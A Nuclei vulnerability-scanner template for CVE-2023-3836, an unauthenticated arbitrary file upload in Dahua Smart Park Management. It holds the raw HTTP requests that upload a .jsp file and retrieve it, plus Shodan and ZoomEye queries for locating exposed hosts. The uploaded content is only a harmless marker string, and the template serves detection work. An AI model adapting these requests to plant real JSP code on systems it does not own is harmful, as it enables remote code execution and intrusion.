nuclei-templates/http/cves/2023/CVE-2023-3836.yaml

68 lines
2.4 KiB
YAML
Raw Normal View History

2023-07-26 09:01:22 +00:00
id: CVE-2023-3836
info:
2023-07-26 09:25:27 +00:00
name: Dahua Smart Park Management - Arbitrary File Upload
2023-07-26 09:01:22 +00:00
author: HuTa0
2023-08-31 11:46:18 +00:00
severity: critical
2023-07-26 09:25:27 +00:00
description: |
Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
2023-07-26 09:01:22 +00:00
reference:
2023-07-26 09:25:27 +00:00
- https://github.com/qiuhuihk/cve/blob/main/upload.md
2023-07-27 18:47:36 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-3836
2023-08-31 11:46:18 +00:00
- https://vuldb.com/?ctiid.235162
- https://vuldb.com/?id.235162
2023-07-27 18:47:36 +00:00
classification:
2023-08-31 11:46:18 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-07-27 18:47:36 +00:00
cve-id: CVE-2023-3836
2023-08-31 11:46:18 +00:00
cwe-id: CWE-434
epss-score: 0.02584
epss-percentile: 0.89161
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
2023-07-26 09:01:22 +00:00
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 2
2023-08-31 11:46:18 +00:00
vendor: dahuasecurity
product: smart_parking_management
2023-09-06 11:43:37 +00:00
shodan-query: html:"/WPMS/asset"
zoomeye-query: /WPMS/asset
2024-01-14 09:21:50 +00:00
tags: cve2023,cve,dahua,fileupload,intrusive,rce,dahuasecurity
2023-07-26 09:01:22 +00:00
variables:
random_str: "{{rand_base(6)}}"
match_str: "{{md5(random_str)}}"
http:
- raw:
- |
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Host: {{Hostname}}
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
{{match_str}}
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
- |
GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2, '{{match_str}}')"
condition: and
extractors:
- type: regex
name: shell_filename
internal: true
part: body_1
regex:
- 'ico_res_(\w+)_on\.jsp'
# digest: 490a00463044022019ed3a01869b520c888624caac663690abb0239bbe29ce2bd37bf0c9da3ceed102203bb8f2aef38ca4aa0349fe47f7a0e72a004678a13fb247d0ebd2abfbea426827:922c64590222798bb761d5b6d8e72950